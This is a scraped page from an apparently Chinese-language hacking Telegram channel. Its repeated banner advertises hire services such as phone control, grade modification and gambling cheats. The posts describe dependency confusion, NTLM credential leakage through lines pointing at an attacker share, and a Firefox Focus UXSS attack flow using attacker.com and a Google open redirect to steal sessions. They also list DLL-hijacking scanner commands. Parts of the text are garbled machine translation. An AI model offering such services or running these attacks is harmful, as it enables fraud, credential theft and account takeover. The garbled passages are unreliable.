暗夜之界 | Hacker技术 SQL
الذهاب إلى القناة على Telegram
合作事宜请联系 - @lizi10101 🔰影响力测试与网络安全事件响应部门 ☄️Sagheb网络安全事件响应部门（SCSIRD） ▫️网络研究 ▫️安全网页设计 ▫️网络渗透测试 渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂 #黑客 #渗透 #提权
إظهار المزيد1 097
المشتركون
-224 ساعات
-427 أيام
-20730 أيام
أرشيف المشاركات
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
3种渗透测试技巧
⏺️Web缓存欺骗 - 不要与缓存中毒混淆。这里的目标不是替换缓存，而是让CDN保存敏感响应并将其提供给其他用户。例如，应用程序认为这是一个动态页面：
/account/settings而CDN看到的是静态扩展名：
/account/settings/style.css如果路由设置不当，用户的个人页面可能会进入公共缓存。结果，其他人可以在不破解账户的情况下获取他人的数据。 ⏺️依赖关系混淆 - 通过包管理器对供应链发起攻击。例如，公司内部使用一个包：
internal-utils开发人员会自动从私有仓库安装它。 ⏺️如果没有同名公共包，攻击者可以将其发布到npm、PyPI或其他注册表中，版本号更高：
npm publish internal-utils@99.0.0\\attacker\share 或者 <img src="file://attacker/share">之后，就可以将NTLM身份验证转发到网络中的其他服务。如果SMB签名或扩展保护设置不正确，攻击可以无需破解密码或知晓密码即可获取访问权限。 #渗透测试 🍸 合作事宜请联系 - @lizi10101
1 096
+2
RustScan 与 Nmap — 关键差异与局限性
RustScan：
• 专为速度而设计的趣味性实验，能在数秒内扫描完 65,535 个 TCP 端口
• 非常适合快速发现端口和进行初步侦察
• 缺乏协议多样性 — 仅支持 TCP
• 没有内置服务检测或操作系统指纹识别功能
• 没有脚本引擎或漏洞扫描功能
• 常用于将开放端口数据导入 Nmap
Nmap：
• 速度较慢，尤其是在扫描整个端口范围时
• 支持 TCP、UDP、ICMP、SCTP、ARP 等协议
• 内置服务和版本检测功能
• 操作系统检测、路由追踪和防火墙规避技术
• 包含 NSE（Nmap 脚本引擎），用于漏洞扫描和自动化
• 更全面，但对于大规模扫描而言体积更大、速度更慢
🍸 合作事宜请联系 - @lizi10101
1 096
合作事宜请联系 - @lizi10101
🔰影响力测试与网络安全事件响应部门
☄️Sagheb网络安全事件响应部门（SCSIRD）
▫️网络研究
▫️安全网页设计
▫️网络渗透测试
渗透测试、手机控制、隐私保护、追款溯源、成绩修改、博彩外挂
#黑客 #渗透 #提权
1 096
📊 群运营日报｜2026-06-10
🎬 群名称：暗夜之界 | Hacker技术 SQL
🆔 ChatID：-1002935671868
📌 核心数据
💬 消息量：2
👥 活跃人数：2
🆕 新增成员：13
🚪 离开成员：3
📈 成员净增长：+10
🔍 搜索触发：2
🔗 链接曝光：22
📝 帖子曝光：13
❤️ 群健康度
⭐ 健康分：65/100
⚠️ 当前状态：一般
💡 优化建议
1. 💬 昨日消息量偏低，建议增加话题引导或定时互动。
2. 👥 活跃人数偏低，建议优化欢迎语与群公告入口。
1 096
FirefUXSS：通过重定向方案验证竞争条件在 Firefox Focus for iOS 中实现通用 XSS 攻击
概括
iOS 版 Firefox Focus 存在通用跨站脚本攻击 (UXSS)漏洞，攻击者可以利用该漏洞在几乎任何受害者可能访问的网页源的安全上下文中执行任意 JavaScript 代码。攻击者通过利用浏览器重定向方案验证逻辑中的竞争条件，绕过本应阻止此类攻击的
javascript:过滤器，将恶意代码（或其他危险方案）绕过过滤器，使其在先前加载的文档源中运行，而不是被拦截。
实际上，这意味着只需点击一次攻击者控制的链接，就可能导致在高价值来源（例如google.com、、或）上执行脚本youtube.com，从而窃取会话、接管帐户并代表受害者执行任意操作。x.comreddit.com
所有现代浏览器都会拒绝执行指向危险 URI 方案（例如` http://example.com`、`http://example.com` 或 http://example.com ）的服务器端重定向（HTTP响应头）。如果服务器响应如下：Location:javascript:data:file:
HTTP/1.1 302 Found Location: javascript:alert(document.domain)符合规范的浏览器不会执行该脚本——导航会被丢弃或被动处理，正是为了防止此处描述的这类攻击。 预期保证是：在提交导航之前验证重定向目标的方案，并拒绝危险的方案。 Firefox Focus for iOS 会执行此方案检查，但该检查相对于它所保护的导航而言并非原子性的——这是一个经典的检查时间到使用时间 (TOCTOU) 的竞争。 在正常负载下，验证器能够
javascript:正确拒绝重定向目标。然而，当重定向处理路径被大量普通的 HTTP→HTTP 重定向请求快速淹没时，验证器可能会落后于导航管道。通过控制最终javascript:重定向的时机，使其落在这个时间窗口内，可以有效地绕过危险方案检查：导航请求会在被拒绝之前（或代替被拒绝）提交。
关键在于，当偷偷植入的javascript:导航执行时，它会继承被替换文档的源，而不是作为一个全新的、无源的导航运行。正是这种源继承将同一页面的脚本执行变成了通用的XSS 攻击——脚本以 `<script>` google.com、x.com<script> 等身份
运行。
要求_self
只有当恶意页面加载到_self浏览上下文中（即，在当前顶级文档中导航）时，该攻击才能成功，而不能加载到新窗口/标签页中。
Firefox Focus 是一款单窗口浏览器，没有标签页模式。我们认为，加载下一个文档会将_self导航折叠到与前一个页面相同的浏览上下文中，从而导致竞态条件利用了由此产生的关于当前导航所属页面的歧义。在任何其他目标中打开页面都会破坏这种页面继承机制，攻击也会失败。
找到一个可以作为转折点的起点
最后一个要素是在目标源上设置一个开放重定向（或任何可控的导航），将用户引导至攻击者的页面，同时仍保留与目标源的上下文关联。这类重定向非常普遍且易于查找——我们在研究过程中发现了 Google、X、YouTube 和 Reddit 等网站上可用的跳转链接。公开 PoC 中使用的跳转链接已包含在 PoC 代码中。
攻击流程攻击者向受害者发送一个链接
attacker.com/poc.php。受害者点击了链接。
poc.php将上下文导航_self到 Google 开放重定向 URL，例如https://www.google.com/url?q=https://attacker.com/poc.php?pwn=1。
Google 会将用户重定向回当前https://attacker.com/poc.php?pwn=1页面，并将浏览上下文与google.com导航关联起来。
poc.php（在pwn=1模式下）通过快速发出大量自引用 HTTP 重定向来触发竞争。
突发中的最后一次重定向指向javascript:document.write(document.domain)。
方案验证器输掉了竞争；导航在源javascript:中提交和执行google.com，这表明存在 UXSS 问题。
在武器化版本中，步骤 6 被替换为读取 cookie/令牌或执行已验证操作的脚本，从而实现对目标来源的完全帐户接管。
🍸 合作事宜请联系 - @lizi10101
#数据提取 #网站破解渗透1 096
DLL劫持漏洞扫描器
*自动扫描：递归扫描目录或整个驱动器，查找已签名的可执行文件
*DLL依赖性分析：分析导入表以识别DLL加载模式
*漏洞测试：测试可执行文件是否存在实际的 DLL 劫持漏洞
*全面筛选：基于各种条件的高级筛选选项
*对合法可执行文件进行数字签名验证
*静态和动态 DLL 加载检测
*编写劫持可行性权限分析
*系统 DLL 识别和筛选
*动态载荷模式的全面截面扫描
*GUI/控制台应用程序分类
# Scan current directory
SearchAvailableExe.exe -i "C:\Program Files"
# Scan with output to file
SearchAvailableExe.exe -i "C:\Windows\System32" -o results.txt
# Scan all drives (requires administrator privileges)
SearchAvailableExe.exe# Scan for 64-bit executables with writable directories
SearchAvailableExe.exe -i "C:\Program Files" -b 64 -w -o x64_results.txt
# Find executables with static DLL loading only
SearchAvailableExe.exe -i "C:\Windows" -l 1 -c 2
# Comprehensive scan with all options
SearchAvailableExe.exe -i "C:\" -w -g -p -a 1 -s -o comprehensive_scan.txt=== DLL Hijacking Vulnerability Scan Results === Found 15 exploitable executables: Exploitable Executable: C:\Program Files\Example\app.exe Architecture: 64-bit | Writable Directory: Yes | DLL Loading: Static | Subsystem: GUI Exploitable DLL: example.dll Additional DLLs required: helper.dll utility.dll ---------------------------------------------------
